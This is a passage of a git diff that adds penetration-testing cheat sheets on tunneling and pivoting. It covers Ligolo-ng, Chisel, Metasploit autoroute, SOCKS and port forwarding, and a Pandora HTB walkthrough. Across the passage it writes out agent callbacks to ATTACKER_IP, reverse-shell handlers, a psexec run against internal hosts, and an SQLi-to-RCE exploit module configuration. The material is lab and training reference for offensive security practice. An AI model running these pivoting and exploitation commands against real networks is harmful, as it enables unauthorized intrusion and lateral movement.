--to 127.0.0.1:4444 +# Opens 1234 on agent, forwards to attacker's 4444 + +# List listeners +[Agent: user@target] » listener_list + +# Remove listener +[Agent: user@target] » listener_del 0 +``` + +### Route Configuration (Attacker Machine) + +```bash +# Add route to target network through ligolo interface +sudo ip route add 10.10.10.0/24 dev ligolo + +# Multiple networks +sudo ip route add 192.168.1.0/24 dev ligolo +sudo ip route add 172.16.0.0/16 dev ligolo + +# For second tunnel (different agent), use ligolo2 +sudo ip route add 10.20.30.0/24 dev ligolo2 + +# Verify routes +ip route | grep ligolo + +# Remove route when done +sudo ip route del 10.10.10.0/24 dev ligolo +``` + +### Complete Ligolo-ng Workflow + +```bash +# === ATTACKER SETUP === +# 1. Create interface +sudo ip tuntap add user $(whoami) mode tun ligolo +sudo ip link set ligolo up + +# 2. Start proxy +./proxy -selfcert -laddr 0.0.0.0:443 + +# === TARGET === +# 3. Run agent (transfer binary first) +./agent -connect ATTACKER_IP:443 -ignore-cert + +# === ATTACKER PROXY CONSOLE === +# 4. Select session +ligolo-ng » session +# Select the agent + +# 5. Check target interfaces (note the internal subnet) +[Agent] » ifconfig +# e.g., see 10.10.10.0/24 on eth1 + +# 6. Start tunnel +[Agent] » start + +# === ATTACKER SHELL === +# 7. Add route to internal network +sudo ip route add 10.10.10.0/24 dev ligolo + +# 8. Now you can access internal network directly! +ping 10.10.10.1 +nmap -sT -Pn 10.10.10.0/24 +curl http://10.10.10.50 +ssh user@10.10.10.51 + +# === REVERSE PORT FORWARD (for callbacks) === +# On proxy console: +[Agent] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 + +# Now internal hosts can connect to agent:4444, reaches attacker:4444 +# Useful for reverse shells from double-pivoted networks +``` + +### Double Pivot with Ligolo-ng + +```bash +# First pivot already established to 10.10.10.0/24 +# Now pivot through 10.10.10.50 to reach 192.168.1.0/24 + +# === ATTACKER === +# Create second interface +sudo ip tuntap add user $(whoami) mode tun ligolo2 +sudo ip link set ligolo2 up + +# Create listener on first agent to relay second agent connection +[Agent: first] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 + +# === SECOND PIVOT HOST (10.10.10.50) === +# Run agent connecting through first pivot +./agent -connect 10.10.10.FIRST_AGENT:11601 -ignore-cert + +# === ATTACKER PROXY CONSOLE === +# Select new session +ligolo-ng » session +# Select second agent + +# Start on second interface +[Agent: second] » start --tun ligolo2 + +# === ATTACKER === +# Add route for deep network +sudo ip route add 192.168.1.0/24 dev ligolo2 + +# Now reach 192.168.1.0/24 through double pivot! +nmap -sT -Pn 192.168.1.0/24 +``` + +--- + +## Metasploit Framework Pivoting + +### Autoroute (Add Routes Through Session) + +```bash +# From Meterpreter session +meterpreter > run autoroute -s 10.10.10.0/24 + +# Or with netmask +meterpreter > run autoroute -s 10.10.10.0 -n 255.255.255.0 + +# Print routes +meterpreter > run autoroute -p + +# Delete route +meterpreter > run autoroute -d -s 10.10.10.0 + +# Using post module (from msf console) +msf6 > use post/multi/manage/autoroute +msf6 post(autoroute) > set SESSION 1 +msf6 post(autoroute) > set SUBNET 10.10.10.0 +msf6 post(autoroute) > set NETMASK /24 +msf6 post(autoroute) > run + +# Manual route add from msf console +msf6 > route add 10.10.10.0/24 1 +msf6 > route add 192.168.1.0 255.255.255.0 1 + +# View routes +msf6 > route print + +# Remove route +msf6 > route remove 10.10.10.0/24 1 + +# Flush all routes +msf6 > route flush +``` + +### SOCKS Proxy Module + +```bash +# Background your meterpreter session first +meterpreter > background + +# Use SOCKS proxy module +msf6 > use auxiliary/server/socks_proxy + +# Configure +msf6 auxiliary(socks_proxy) > set SRVHOST 127.0.0.1 +msf6 auxiliary(socks_proxy) > set SRVPORT 1080 +msf6 auxiliary(socks_proxy) > set VERSION 5 + +# Optional auth (SOCKS5 only) +msf6 auxiliary(socks_proxy) > set USERNAME proxyuser +msf6 auxiliary(socks_proxy) > set PASSWORD proxypass + +# Run in background +msf6 auxiliary(socks_proxy) > run -j + +# Verify it's running +msf6 > jobs + +# Configure proxychains (/etc/proxychains4.conf) +# socks5 127.0.0.1 1080 + +# Use external tools through proxy +proxychains4 nmap -sT -Pn 10.10.10.0/24 +proxychains4 curl http://10.10.10.50 +proxychains4 ssh user@10.10.10.51 +``` + +### Port Forwarding (portfwd) + +```bash +# LOCAL FORWARD - access remote service locally +meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50 +# Now access 10.10.10.50:80 via localhost:8080 + +# Forward to target's localhost service +meterpreter > portfwd add -l 3306 -p 3306 -r 127.0.0.1 +# Access target's MySQL on your localhost:3306 + +# REMOTE/REVERSE FORWARD - for callbacks from deep network +meterpreter > portfwd add -R -l 4444 -L 0.0.0.0 -p 9999 +# Listens on target:9999, forwards to attacker:4444 + +# List port forwards +meterpreter > portfwd list + +# Delete specific forward +meterpreter > portfwd delete -l 8080 -p 80 -r 10.10.10.50 + +# Delete by index +meterpreter > portfwd delete -i 0 + +# Flush all +meterpreter > portfwd flush +``` + +### Complete Metasploit Pivoting Workflow + +```bash +# === Initial Access === +msf6 > use exploit/multi/handler +msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf6 > set LHOST eth0 +msf6 > set LPORT 4444 +msf6 > run + +# (get meterpreter session) + +# === Enumerate Target Networks === +meterpreter > ipconfig +meterpreter > arp +meterpreter > route + +# Discover dual-homed: 192.168.1.50 and 10.10.10.50 + +# === Add Route === +meterpreter > run autoroute -s 10.10.10.0/24 +meterpreter > run autoroute -p +meterpreter > background + +# === Start SOCKS Proxy === +msf6 > use auxiliary/server/socks_proxy +msf6 > set SRVPORT 1080 +msf6 > run -j + +# === Scan Internal Network === +# Option 1: Use Metasploit scanner modules (uses autoroute automatically) +msf6 > use auxiliary/scanner/portscan/tcp +msf6 > set RHOSTS 10.10.10.0/24 +msf6 > set PORTS 22,80,443,445,3389 +msf6 > run + +# Option 2: Use external tools via SOCKS +proxychains4 nmap -sT -Pn -p22,80,443,445 10.10.10.0/24 + +# === Exploit Internal Target === +msf6 > use exploit/windows/smb/psexec +msf6 > set RHOSTS 10.10.10.100 +msf6 > set SMBUSER admin +msf6 > set SMBPASS password123 +msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp +msf6 > set RHOST 10.10.10.100 +msf6 > run + +# (traffic automatically routes through session 1) + +# === Port Forward for Direct Access === +# Re-enter first session +msf6 > sessions -i 1 +meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.100 + +# Now RDP to internal host +xfreerdp /v:127.0.0.1 /u:admin /p:password123 +``` + +### Pivoting Through Multiple Networks + +```bash +# Session 1: Access to 10.10.10.0/24 +meterpreter > run autoroute -s 10.10.10.0/24 +meterpreter > background + +# Exploit host in 10.10.10.0/24 that has access to 192.168.1.0/24 +# Get Session 2 + +# Session 2: Access to 192.168.1.0/24 +msf6 > sessions -i 2 +meterpreter > run autoroute -s 192.168.1.0/24 +meterpreter > background + +# View all routes +msf6 > route print + +# Traffic to 10.10.10.0/24 goes through Session 1 +# Traffic to 192.168.1.0/24 goes through Session 2 (which itself routes through Session 1) +``` + +--- + +## Proxychains Configuration + +### /etc/proxychains4.conf + +```ini +# Dynamic chain - skip dead proxies +dynamic_chain + +# Strict chain - all proxies must work +#strict_chain + +# Random chain - random proxy order +#random_chain + +# Quiet mode - less output +quiet_mode + +# Proxy DNS through proxy (important!) +proxy_dns + +# Timeouts +tcp_read_time_out 15000 +tcp_connect_time_out 8000 + +[ProxyList] +# SOCKS5 proxy (Chisel, Metasploit) +socks5 127.0.0.1 1080 + +# SOCKS4 alternative +#socks4 127.0.0.1 1080 + +# Chain multiple proxies +#socks5 127.0.0.1 1080 +#socks5 127.0.0.1 1081 +``` + +### Proxychains Usage + +```bash +# Basic usage +proxychains4 nmap -sT -Pn 10.10.10.0/24 +proxychains4 curl http://10.10.10.50 +proxychains4 ssh user@10.10.10.51 +proxychains4 evil-winrm -i 10.10.10.50 -u admin -p password + +# With specific config file +proxychains4 -f /tmp/myproxy.conf nmap -sT -Pn 10.10.10.50 + +# Quiet mode +proxychains4 -q curl http://10.10.10.50 + +# Note: Only TCP works through SOCKS +# Use -sT (TCP connect) not -sS (SYN scan) with nmap +# ICMP (ping) won't work through standard SOCKS +``` + +--- + +## Quick Reference Tables + +### Port Forwarding Syntax Comparison + +| Tool | Local Forward | Remote Forward | SOCKS Proxy | +|------|--------------|----------------|-------------| +| **SSH** | `ssh -L 8080:target:80 user@jump` | `ssh -R 8080:localhost:80 user@jump` | `ssh -D 1080 user@jump` | +| **Chisel** | `chisel client srv:8080 8080:target:80` | `chisel client srv:8080 R:8080:target:80` | `chisel client srv:8080 R:socks` | +| **Meterpreter** | `portfwd add -l 8080 -p 80 -r target` | `portfwd add -R -l 80 -p 8080` | `use auxiliary/server/socks_proxy` | +| **Ligolo-ng** | N/A (use routes) | `listener_add --addr 0.0.0.0:P1 --to 127.0.0.1:P2` | N/A (full routing) | + +### Common Ports to Forward + +| Service | Port | Example Forward | +|---------|------|-----------------| +| SSH | 22 | `-L 2222:target:22` | +| HTTP | 80 | `-L 8080:target:80` | +| HTTPS | 443 | `-L 8443:target:443` | +| SMB | 445 | `-L 4445:target:445` | +| RDP | 3389 | `-L 3389:target:3389` | +| WinRM | 5985/5986 | `-L 5985:target:5985` | +| MySQL | 3306 | `-L 3306:target:3306` | +| MSSQL | 1433 | `-L 1433:target:1433` | +| PostgreSQL | 5432 | `-L 5432:target:5432` | + +### Tool Selection Quick Guide + +| Scenario | Recommended Tool | +|----------|-----------------| +| Have SSH access, need single port | SSH -L/-R | +| Have SSH access, need multiple destinations | SSH -D (SOCKS) | +| Need to deploy binary, HTTP egress only | Chisel | +| Need full L3 routing (ICMP, raw nmap) | Ligolo-ng | +| Already have Meterpreter session | Metasploit autoroute | +| Double/triple pivot | Ligolo-ng or Chisel chains | +| Stealth (use existing services) | SSH | + +--- + +## Troubleshooting + +```bash +# SSH: Debug connection issues +ssh -vvv -D 1080 user@host + +# SSH: Test if forwarding works +# Local: curl localhost:8080 after -L 8080:target:80 +# Check server allows forwarding: grep -i tcpforwarding /etc/ssh/sshd_config + +# Chisel: Verbose mode +./chisel client -v ATTACKER:8080 R:socks +./chisel server -v -p 8080 --reverse + +# Ligolo-ng: Verify TUN interface +ip link show ligolo +ip route | grep ligolo + +# Ligolo-ng: Check agent connectivity +# In proxy console: session (should list agents) + +# Metasploit: Verify routes +msf6 > route print +msf6 > route get 10.10.10.50 + +# Proxychains: Test +proxychains4 curl -v http://10.10.10.50 + +# General: Check listening ports +ss -tlnp | grep 1080 +netstat -tlnp | grep 1080 +``` + +--- + +## Sources + +| Tool | Documentation | +|------|---------------| +| OpenSSH | https://man.openbsd.org/ssh | +| Chisel | https://github.com/jpillora/chisel | +| Ligolo-ng | https://github.com/nicocha30/ligolo-ng | +| Ligolo-ng Docs | https://docs.ligolo.ng/ | +| Metasploit Pivoting | https://docs.metasploit.com/docs/using-metasploit/intermediate/pivoting-in-metasploit.html | +| Proxychains-ng | https://github.com/rofl0r/proxychains-ng | diff --git a/src/content/sheets/tunneling-pivoting/ssh-portfwding-with-metasploit.md b/src/content/sheets/tunneling-pivoting/ssh-portfwding-with-metasploit.md @@ -0,0 +1,457 @@ +--- +title: "SSH Portfwding with metasploit" +description: "Your original guide is mostly correct for local port forwarding (ssh -L), but it lacks clarity on why things work and when to use different approaches…" +category: tunneling-pivoting +tags: ["tunneling-pivoting", "tunneling"] +tools: ["Metasploit", "Meterpreter"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Misc/SSH Portfwding with metasploit .md" +--- +# SSH Tunneling with Metasploit: A Complete Guide (Pandora HTB Edition) + +Your original guide is **mostly correct** for local port forwarding (`ssh -L`), but it lacks clarity on *why* things work and when to use different approaches. Let me clarify the confusion and expand with the Pandora HTB box as a practical example. + +--- + +## Understanding the Pandora HTB Scenario + +**The Problem:** +* Pandora HTB has a **Pandora FMS web application** running on `127.0.0.1:80` (localhost only) +* It's bound ONLY to loopback—you **cannot** access it from your attacker machine directly +* You gain SSH access as `daniel` user via SNMP credential leak +* You need to access this internal web service to exploit it + +**The Solution:** SSH local port forwarding + +--- + +## Part 1: SSH Local Port Forward (`ssh -L`) - The Pandora Way + +### What It Actually Does + +```bash +ssh -L 9001:localhost:80 daniel@10.10.11.136 +``` + +**This creates a PORT MAPPING:** +* Your machine listens on `127.0.0.1:9001` +* Any connection to YOUR `127.0.0.1:9001` → tunneled through SSH → TARGET's `localhost:80` + +**Critical Understanding:** +* The `localhost:80` part is resolved **from the target's perspective** +* You could also forward to OTHER machines the target can reach: `ssh -L 9001:10.10.10.5:80 daniel@target` + +### Verify the Tunnel + +From **your machine**: + +```bash +curl -i http://127.0.0.1:9001/pandora_console/ +# Or in browser: http://127.0.0.1:9001/pandora_console/ +``` + +If you see the Pandora FMS login page, the tunnel works. + +--- + +## Part 2: Metasploit Configuration with `ssh -L` + +### Core Principle: You're Targeting YOUR Local Endpoint + +When using `ssh -L`, Metasploit connects to **your local tunnel endpoint**, NOT the remote IP. + +### Configuration for Pandora FMS Exploit + +```bash +msfconsole +use exploit/linux/http/pandora_fms_sqli_rce +show options +``` + +**Set these options:** + +| Option | Value | Why | +|--------|-------|-----| +| `RHOSTS` | `127.0.0.1` | The tunnel endpoint is on YOUR localhost | +| `RPORT` | `9001` | YOUR local listening port (not 80!) | +| `SSL` | `false` | Port 80 is HTTP, not HTTPS | +| `TARGETURI` | `/pandora_console/` | Application base path | +| `USERNAME` | `admin` | Default or discovered credentials | +| `PASSWORD` | `pandora` | Default or discovered credentials | +| `Proxies` | **UNSET** | `ssh -L` is NOT a proxy | + +**Commands:** + +```bash +set RHOSTS 127.0.0.1 +set RPORT 9001 +set SSL false +set TARGETURI /pandora_console/ +set USERNAME admin +set PASSWORD pandora +unset Proxies +``` + +--- + +## Part 3: The Critical LHOST Confusion (Reverse Shells) + +### The Two Separate Connections + +When you exploit a service, there are **TWO different network connections**: + +1. **Exploit Delivery** (Metasploit → Web Service): + * Goes through the tunnel + * RHOSTS=127.0.0.1, RPORT=9001 + +2. **Reverse Shell** (Target → Attacker): + * Does NOT go through the tunnel (usually) + * LHOST=your_real_IP (e.g., tun0 10.10.14.x) + +### LHOST Settings for Pandora HTB + +```bash +set LHOST 10.10.14.50 # Your tun0 VPN IP +set LPORT 4444 # Port where YOU listen for callback +``` + +**Why NOT `127.0.0.1`?** +* If LHOST=127.0.0.1, you're telling the target to connect to **its own** localhost +* The reverse shell would try to connect to itself and fail + +**Why does this work without another tunnel?** +* The target **can reach** your VPN IP directly (10.10.14.x) +* Only the *web service* is localhost-only +* The target machine itself has normal network connectivity + +### Complete Exploit Command + +```bash +use exploit/linux/http/pandora_fms_sqli_rce +set RHOSTS 127.0.0.1 # Tunnel endpoint on YOUR machine +set RPORT 9001 # YOUR local port +set SSL false +set TARGETURI /pandora_console/ +set USERNAME admin +set PASSWORD pandora +set LHOST 10.10.14.50 # YOUR tun0 IP (for reverse shell) +set LPORT 4444 +set PAYLOAD linux/x64/meterpreter/reverse_tcp +exploit +``` + +--- + +## Part 4: When to Use `ssh -D` (Dynamic SOCKS Proxy) + +### The Difference + +`ssh -D` is **completely different** from `ssh -L`: + +| Feature | `ssh -L` (Local Forward) | `ssh -D` (SOCKS Proxy) | +|---------|-------------------------|------------------------| +| Type | Direct port mapping | Application-level proxy | +| Targets | ONE specific host:port | ANY host:port through proxy | +| Setup | One tunnel per port | One proxy for everything | +| Metasploit Config | RHOSTS=127.0.0.1, no Proxies | RHOSTS=actual_target, set Proxies | + +### Creating a SOCKS Proxy + +```bash +ssh -D 1080 daniel@10.10.11.136 +``` + +This creates a **SOCKS5 proxy** on YOUR `127.0.0.1:1080`. + +### Metasploit Configuration with SOCKS Proxy + +**Key difference:** You now target the **actual remote host**, not 127.0.0.1: + +```bash +setg Proxies socks5:127.0.0.1:1080 +set RHOSTS 10.10.11.136 # Actual target IP +set RPORT 80 # Actual remote port +set SSL false +``` + +**What happens:** +1. Metasploit connects to the SOCKS proxy at 127.0.0.1:1080 +2. Proxy forwards the connection through SSH to 10.10.11.136:80 +3. The target's localhost services are still unreachable (SOCKS doesn't help here) + +### When to Use SOCKS (`ssh -D`) + +* **Multiple targets/ports** behind the SSH server +* Scanning entire internal networks +* Dynamic reconnaissance +* When you don't know which ports you'll need in advance + +For Pandora HTB specifically, **`ssh -L` is simpler** because you only need one specific port. + +--- + +## Part 5: Advanced Scenario - `ssh -R` (Reverse Tunnel) + +### When Target Cannot Reach You + +Sometimes the target **cannot** connect back to your IP: +* Double NAT +* Firewall blocking outbound +* No route to your network + +**Solution:** Reverse port forward + +### How `ssh -R` Works + +```bash +# On your machine, create reverse tunnel: +ssh -R 4444:localhost:4444 daniel@10.10.11.136 + +# In another terminal, start local listener: +nc -lvnp 4444 +``` + +**What this does:** +* Target's `localhost:4444` → tunneled back through SSH → YOUR `localhost:4444` +* When target connects to its own localhost:4444, it reaches your listener + +### Metasploit with Reverse Tunnel + +```bash +# Terminal 1: Start handler on your machine +msfconsole +use multi/handler +set PAYLOAD linux/x64/shell/reverse_tcp +set LHOST 127.0.0.1 # Listen locally +set LPORT 4444 +run + +# Terminal 2: Create reverse tunnel and exploit +ssh -R 4444:localhost:4444 daniel@10.10.11.136 + +# Terminal 3: Run exploit with tunnel settings +msfconsole +use exploit/linux/http/pandora_fms_sqli_rce +set RHOSTS 127.0.0.1 # Web service tunnel +set RPORT 9001 +set LHOST 127.0.0.1 # Target connects to its localhost +set LPORT 4444 # Which forwards to you via ssh -R +set PAYLOAD linux/x64/shell/reverse_tcp +exploit +``` + +--- + +## Part 6: Complete Pandora HTB Workflow + +### Step 1: Reconnaissance + +```bash +# Enumerate SNMP (finds daniel's credentials) +snmpwalk -v 2c -c public 10.10.11.136 +``` + +### Step 2: SSH Access + +```bash +ssh daniel@10.10.11.136 +# Password discovered via SNMP +``` + +### Step 3: Port Forward (keep this running) + +```bash +ssh -L 9001:localhost:80 daniel@10.10.11.136 -N +# -N means "don't execute commands, just forward" +``` + +### Step 4: Verify Access + +```bash +curl http://127.0.0.1:9001/pandora_console/ +``` + +### Step 5: Exploit with Metasploit + +```bash +msfconsole -q +use exploit/linux/http/pandora_fms_sqli_rce + +# Access the web service via tunnel +set RHOSTS 127.0.0.1 +set RPORT 9001 +set SSL false +set TARGETURI /pandora_console/ + +# Credentials (default or discovered) +set USERNAME admin +set PASSWORD pandora + +# Reverse shell comes back directly (not through tunnel) +set LHOST 10.10.14.50 # Your tun0 IP +set LPORT 4444 + +# Payload +set PAYLOAD linux/x64/meterpreter/reverse_tcp + +# No proxy needed for ssh -L +unset Proxies + +show options +check +exploit +``` + +--- + +## Part 7: Common Mistakes & Fixes + +### ❌ Mistake 1: Setting RHOSTS to Target IP + +```bash +set RHOSTS 10.10.11.136 # WRONG with ssh -L +set RPORT 80 +``` + +**Why it fails:** You're bypassing the tunnel and trying to connect directly (which is blocked). + +**Fix:** +```bash +set RHOSTS 127.0.0.1 # Your local tunnel endpoint +set RPORT 9001 # Your local port +``` + +--- + +### ❌ Mistake 2: Setting LHOST to 127.0.0.1 + +```bash +set LHOST 127.0.0.1 # WRONG for standard reverse shell +``` + +**Why it fails:** Target tries to connect to its own localhost, not you. + +**Fix:** +```bash +set LHOST 10.10.14.50 # Your tun0 IP that target can reach +``` + +--- + +### ❌ Mistake 3: Using Proxies with `ssh -L` + +```bash +set Proxies socks5:127.0.0.1:1080 # WRONG with ssh -L +``` + +**Why it's wrong:** `ssh -L` is not a proxy, it's a direct port mapping. + +**Fix:** +```bash +unset Proxies +unsetg Proxies +``` + +--- + +### ❌ Mistake 4: Wrong SSL Setting + +```bash +set SSL true # WRONG when forwarding HTTP port 80 +``` + +**Why it fails:** Metasploit tries HTTPS but port 80 speaks HTTP. + +**Fix:** +```bash +set SSL false # Match the actual protocol +``` + +--- + +## Part 8: Decision Tree + +### Which Tunneling Method? + +``` +Need to access localhost-only service? +│ +├─ YES: Need ONE specific port? +│ └─ Use: ssh -L 9001:localhost:80 user@target +│ └─ Metasploit: RHOSTS=127.0.0.1, RPORT=9001, unset Proxies +│ +├─ YES: Need MULTIPLE ports/hosts? +│ └─ Use: ssh -D 1080 user@target +│ └─ Metasploit: setg Proxies socks5:127.0.0.1:1080, RHOSTS=actual_IP +│ +└─ NO: Direct access works + └─ Just set RHOSTS=target_IP normally +``` + +### Can Target Reach You for Reverse Shell? + +``` +Target can connect to your IP? +│ +├─ YES (normal case): +│ └─ LHOST=your_tun0_IP (e.g., 10.10.14.50) +│ +├─ NO (firewall/NAT blocks): +│ └─ Use: ssh -R 4444:localhost:4444 user@target +│ └─ LHOST=127.0.0.1 (target's localhost forwards to you) +│ +└─ UNSURE: + └─ Try: python3 -m http.server 8000 + └─ On target: curl http://your_IP:8000 + └─ If works: use your_IP, if fails: use ssh -R +``` + +--- + +## Part 9: Auxiliary/Scanner Modules (No LHOST Needed) + +For modules that just **query** the service (no reverse shell): + +```bash +use auxiliary/scanner/http/http_version +set RHOSTS 127.0.0.1 +set RPORT 9001 +set SSL false +unset Proxies +run +``` + +**Notice:** No LHOST/LPORT because there's no reverse connection. + +--- + +## Summary Table: Metasploit Settings by Tunnel Type + +| Tunnel Type | RHOSTS | RPORT | Proxies | LHOST (if reverse shell) | +|-------------|--------|-------|---------|--------------------------| +| `ssh -L 9001:localhost:80` | `127.0.0.1` | `9001` | **unset** | Your real IP (10.10.14.x) | +| `ssh -D 1080` | Actual target IP | Actual port | `socks5:127.0.0.1:1080` | Your real IP (10.10.14.x) | +| `ssh -R 4444:localhost:4444` | `127.0.0.1` (for web) | `9001` (for web) | **unset** | `127.0.0.1` (target's localhost) | +| No tunnel | Actual target IP | Actual port | **unset** | Your real IP (10.10.14.x) | + +--- + +## What Your Original Guide Got Right + +* ✅ RHOSTS=127.0.0.1 for `ssh -L` +* ✅ RPORT=local_listening_port for `ssh -L` +* ✅ Unset Proxies for `ssh -L` +* ✅ LHOST/LPORT mostly not needed for scanner modules + +## What It Missed + +* ❌ **WHY** RHOSTS is 127.0.0.1 (it's YOUR local endpoint) +* ❌ LHOST for reverse shells (needs your real IP) +* ❌ When to use `ssh -D` vs `ssh -L` +* ❌ `ssh -R` for when target can't reach you +* ❌ The distinction between "accessing service" and "receiving reverse shell" + +--- + +This guide should clear up the confusion. The Pandora HTB example is perfect for understanding these concepts because it demonstrates the exact scenario where `ssh -L` shines. diff --git a/src/content/sheets/tunneling-pivoting/tunneling.md b/src/content/sheets/tunneling-pivoting/tunneling.md @@ -0,0 +1,1480 @@ +--- +title: "Tunneling" +description: "tunneling-tools/ ├── chisel/ # TCP/UDP tunnel over HTTP (Fast SOCKS proxy) ├── ligolo-ng/ # Advanced TUN-based tunneling (VPN-like, no SOCKS needed!) ├──…" +category: tunneling-pivoting +tags: ["tunneling-pivoting", "relay", "pivoting", "tunneling"] +tools: ["Nmap", "Impacket", "Metasploit", "Chisel", "Ligolo-ng"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Misc/Tunneling.md" +--- +# Tunneling Tools Cheatsheet + +## Quick Reference Table + +| Tool | Best For | Requires Root | Stealthy | Multi-Platform | +|------|----------|---------------|----------|----------------| +| **Ligolo-ng** | Full network pivoting | Only on attacker | High | ✅ | +| **Chisel** | Quick SOCKS proxy | No | Medium | ✅ | +| **SSHuttle** | VPN-like tunneling | Yes (attacker) | High | Linux/Mac | +| **Plink** | Windows SSH tunneling | No | High | Windows only | +| **Socat** | Port forwarding/relays | No | High | Linux/Windows | +| **Netcat** | Simple port forwarding | No | Medium | ✅ | +| **Proxychains** | Route tools via proxy | No | N/A | Linux/Mac | + +## Installed Tools Location +``` +tunneling-tools/ +├── chisel/ # TCP/UDP tunnel over HTTP (Fast SOCKS proxy) +├── ligolo-ng/ # Advanced TUN-based tunneling (VPN-like, no SOCKS needed!) +├── plink/ # SSH client for Windows (PuTTY Link) +├── socat/ # Multipurpose relay (Port forwarding, shell upgrades) +├── nc/ # Netcat (ncat) - Classic networking swiss army knife +├── proxychains/ # Route tools through SOCKS/HTTP proxies (Install via brew) +└── sshuttle/ # VPN over SSH (Install via brew) +``` + +--- + +## CHISEL +**Best for:** Quick SOCKS proxy setup, HTTP-based tunneling (bypasses restrictive firewalls) + +### Start Server (Attack Box) +```bash +# macOS (Apple Silicon) +./chisel/macos/chisel_darwin_arm64 server -p 8080 --reverse + +# macOS (Intel) +./chisel/macos/chisel_darwin_amd64 server -p 8080 --reverse + +# Linux +./chisel/linux/chisel_linux_amd64 server -p 8080 --reverse + +# With authentication (recommended) +./chisel server -p 8080 --reverse --auth user:password + +# Verbose mode (see connections) +./chisel server -p 8080 --reverse -v +``` + +### Connect Client (Target) +```bash +# Linux - Reverse SOCKS proxy +./chisel_linux_amd64 client ATTACK_IP:8080 R:1080:socks + +# Windows - Reverse SOCKS proxy +chisel_windows_amd64.exe client ATTACK_IP:8080 R:1080:socks + +# With authentication +./chisel client --auth user:password ATTACK_IP:8080 R:1080:socks + +# Multiple port forwards +./chisel client ATTACK_IP:8080 R:1080:socks R:8888:localhost:80 R:3389:10.10.10.5:3389 +``` + +### Common Chisel Patterns +```bash +# Reverse SOCKS (most common - access target's network from attacker) +chisel client ATTACK_IP:8080 R:1080:socks + +# Forward specific port (expose target's service on attacker) +chisel client ATTACK_IP:8080 R:8888:127.0.0.1:80 + +# Local SOCKS (less common - access attacker's network from target) +chisel client ATTACK_IP:8080 1080:socks + +# Remote forward with specific bind address +chisel client ATTACK_IP:8080 R:0.0.0.0:9999:localhost:80 +``` + +### Usage with Proxychains +```bash +# After establishing SOCKS proxy on port 1080 +proxychains4 nmap -sT -Pn 10.10.10.0/24 +proxychains4 curl http://internal-server +proxychains4 firefox # Browse internal web apps +``` + +--- + +## LIGOLO-NG +**Best for:** Full network pivoting without SOCKS, TUN-based (works like a VPN), automatic routing + +### Setup TUN Interface (Attack Box - One Time Setup) + +#### Linux +```bash +sudo ip tuntap add user $(whoami) mode tun ligolo +sudo ip link set ligolo up +``` + +#### macOS +```bash +# Install tuntaposx if needed +brew install --cask tuntap + +# Create interface (done automatically by ligolo-ng on macOS) +``` + +#### Windows +```powershell +# Ligolo-ng handles TUN interface automatically on Windows +# Run as Administrator +``` + +### Start Proxy (Attack Box) +```bash +# Linux +./ligolo-ng/linux/proxy -selfcert -laddr 0.0.0.0:11601 + +# macOS +./ligolo-ng/macos/proxy -selfcert -laddr 0.0.0.0:11601 + +# With custom certificate +./proxy -certfile server.crt -keyfile server.key -laddr 0.0.0.0:11601 + +# Enable autoroute (automatically adds routes - v0.8+) +./proxy -selfcert -laddr 0.0.0.0:11601 -autoroute + +# With Web UI (multiplayer mode - v0.8+) +./proxy -selfcert -laddr 0.0.0.0:11601 -api 127.0.0.1:8080 +``` + +### Connect Agent (Target) +```bash +# Linux +./agent -connect ATTACK_IP:11601 -ignore-cert + +# Windows +agent.exe -connect ATTACK_IP:11601 -ignore-cert + +# With specific network interface +./agent -connect ATTACK_IP:11601 -ignore-cert -bind 192.168.1.10 + +# Retry connection on failure +./agent -connect ATTACK_IP:11601 -ignore-cert -retry +``` + +### Ligolo Console Commands +``` +# Session management +session # List all connected sessions +session <id> # Select a session +info # Show session info + +# Network discovery +ifconfig # Show target's network interfaces +listener_list # Show active listeners + +# Tunneling +start # Start the tunnel +stop # Stop the tunnel + +# Port forwarding (reverse - opens port on target) +listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444 +listener_add --addr 10.10.10.5:80 --to 192.168.1.100:8080 +listener_stop <id> # Stop a listener + +# Remote agent control +agent_kill # Remotely terminate the agent +``` + +### Add Routes (Attack Box) + +#### Linux +```bash +# Add route for internal network +sudo ip route add 10.10.10.0/24 dev ligolo + +# Add multiple routes +sudo ip route add 172.16.0.0/16 dev ligolo +sudo ip route add 192.168.50.0/24 dev ligolo + +# View routes +ip route | grep ligolo +``` + +#### macOS +```bash +# Add route +sudo route add -net 10.10.10.0/24 -interface utun +# Note: utun interface number may vary (utun5, utun6, etc.) +# Check with: ifconfig | grep utun + +# Delete route +sudo route delete 10.10.10.0/24 +``` + +#### Windows +```powershell +# Add route +route add 10.10.10.0 mask 255.255.255.0 10.0.0.1 + +# View routes +route print +``` + +### Complete Workflow Example +```bash +# 1. Start proxy on attacker +./proxy -selfcert -laddr 0.0.0.0:11601 -autoroute + +# 2. Run agent on compromised host +./agent -connect ATTACKER_IP:11601 -ignore-cert + +# 3. In ligolo console +ligolo-ng » session # See connected agent +ligolo-ng » session 1 # Select the agent +[Agent] ligolo-ng » ifconfig # View target networks +[Agent] ligolo-ng » start # Start tunnel + +# 4. Add routes (if not using autoroute) +sudo ip route add 172.16.5.0/24 dev ligolo + +# 5. Access internal network directly +nmap -sT -Pn 172.16.5.0/24 # No proxychains needed! +ssh user@172.16.5.10 +curl http://172.16.5.50:8080 +``` + +### Double Pivoting (Pivot through multiple networks) +```bash +# Network topology: Attacker -> Host1 -> Host2 -> Target Network + +# 1. Setup pivot on Host1 +./agent -connect ATTACKER_IP:11601 -ignore-cert + +# 2. From attacker, add route to Host1's network +sudo ip route add 192.168.100.0/24 dev ligolo + +# 3. Setup listener on Host1 for Host2 to connect back +listener_add --addr 192.168.100.50:11601 --to ATTACKER_IP:11601 + +# 4. From Host2, connect through Host1 +./agent -connect 192.168.100.50:11601 -ignore-cert + +# 5. Add route to Host2's network +sudo ip route add 10.20.30.0/24 dev ligolo +``` + +--- + +## PLINK (Windows SSH Client) +**Best for:** SSH tunneling from Windows targets (no installation needed, single executable) + +### Prerequisites +```bash +# On attack box, enable SSH password authentication +sudo vim /etc/ssh/sshd_config +# Set: PasswordAuthentication yes +sudo systemctl restart sshd + +# Create user for tunneling +sudo useradd -m tunneluser +sudo 